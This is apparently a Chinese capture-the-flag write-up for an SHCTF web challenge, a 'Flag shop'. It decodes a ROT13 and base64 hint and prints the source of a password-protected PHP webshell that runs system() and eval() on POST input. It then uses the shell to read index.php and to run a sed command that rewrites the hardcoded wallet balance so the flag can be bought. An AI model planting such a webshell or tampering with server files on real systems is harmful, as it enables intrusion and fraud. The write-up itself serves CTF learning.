

Flag 商店

你的钱包余额: **\$3**

商品列表

ID	商品名称	价格	操作
1	Free Tea	\$0.00	<button>购买</button>
2	Icecream	\$3.00	<button>购买</button>
3	Golden Flag	\$50.00	<button>购买</button>

提示：继某两所大学校内餐厅被黑后，终于考上大学的小明也想“逝世”，但是他遇到了一些困难于是请求你的帮助。他给你留了一个webshell，并给你的一条线索，去帮他完成吧。

请联系CTF生活，写一篇文章，谈谈你的认识与思考。

要求：(1) 自拟题目；(2) 不少于 800字。

根据提示小明留了一个webshell和一个线索

webshell可以用dirsearch扫出来，但是直接访问不行，找一下线索

```
[11:01:15] 404 -      0B - /uploads/shell.php
/* 5bvE5YvX5Ylt5YdT5Yvdp2uyoTjhpTujYPQyhXoxhVcmnT935L+P5cJjM2I05oPC5cvB55dR5Mlw6LTK54zc5MPa */
```

在源码可以看到一个像base64的编码，直接base64解码不行，猜测还有rot13编码，python解码

```
import base64
import codecs

cipher =
"5bvE5YvX5Ylt5YdT5Yvdp2uyoTjhpTujYPQyhXoxhVcmnT935L+P5cJjM2I05oPC5cvB55dR5Mlw6LTK54zc5MPa"
rot13_str = codecs.decode(cipher, 'rot_13')
print(f"ROT13: {rot13_str}")
decoded_bytes = base64.b64decode(rot13_str)
result = decoded_bytes.decode('utf-8')
print(f"Result: {result}")
```

```
Result: 我上传了个shell.php，带上show参数get小明的圣遗物吧
```

带上show参数直接显示源码

```
<?php
if (isset($_GET['show'])) {
    highlight_file(__FILE__);
}

$pass = 'c4d038b4bed09fdb1471ef51ec3a32cd';

if (isset($_POST['key']) && md5($_POST['key']) === $pass) {
    if (isset($_POST['cmd'])) {
        system($_POST['cmd']);
    } elseif (isset($_POST['code'])) {
        eval($_POST['code']);
    }
} else {
    http_response_code(404);
}
```



md5找个网站解就行

密文:
 类型:

查询结果 :
 114514

flag在系统找不到，存在数据库里面，命令查看index.php源码

<http://challenge.shc.tf:30476/uploads/shell.php>

☒ Use POST method

enctype
 application/x-www-form-urlencoded

Body
 key=114514&cmd=cat ../index.php

排除没用的代码，可以看到我们的钱是被永远固定的

```
<?php
include 'connect.php';

$my_money = 3.00;
$msg = "";
```

```

$target_id = 0;

if (isset($_POST['buy']) && isset($_POST['item_id'])) {
    $target_id = (int)$_POST['item_id'];

    if ($target_id > 0) {
        try {
            $stmt = $pdo->prepare("CALL buy_item(?, ?)");
            $stmt->execute([$target_id, $my_money]);
            $res = $stmt->fetch();
            $msg = $res['final_message'];
            $my_money -= $res['current_price'];
        } catch (Exception $e) {
            $msg = "Transaction Error: " . $e->getMessage();
        }
    } else {
        $msg = "Invalid item selected.";
    }
} else {
    try {
        $stmt = $pdo->query("SELECT id, name, price FROM goods ORDER BY id ASC");
        if ($stmt === false) {
            exit;
        }
        $goods_list = $stmt->fetchAll();
    } catch (Exception $e) {
        die("Error fetching goods list.");
    }
}
?>

```

使用命令把index.php固定的3块钱，替换成大于50的数字

```
sed -i "s/3.00/100.00/g" ../index.php
```

URL

<http://challenge.shc.tf:30476/uploads/shell.php>



Use POST method

enctype

application/x-www-form-urlencoded

Body

key=114514&cmd=sed -i "s/3.00/100.00/g" ../index.php

回到index.php，可以看到已经变成了100

Flag 商店

你的钱包余额: **\$100**

商品列表

ID	商品名称	价格	操作
1	Free Tea	\$0.00	购买
2	Icecream	\$3.00	购买
3	Golden Flag	\$50.00	购买

购买flag

你的钱包余额: **\$50**

系统消息: SHCTF{6b1cda97-5c8f-4ce7-9bab-1629a4188acd}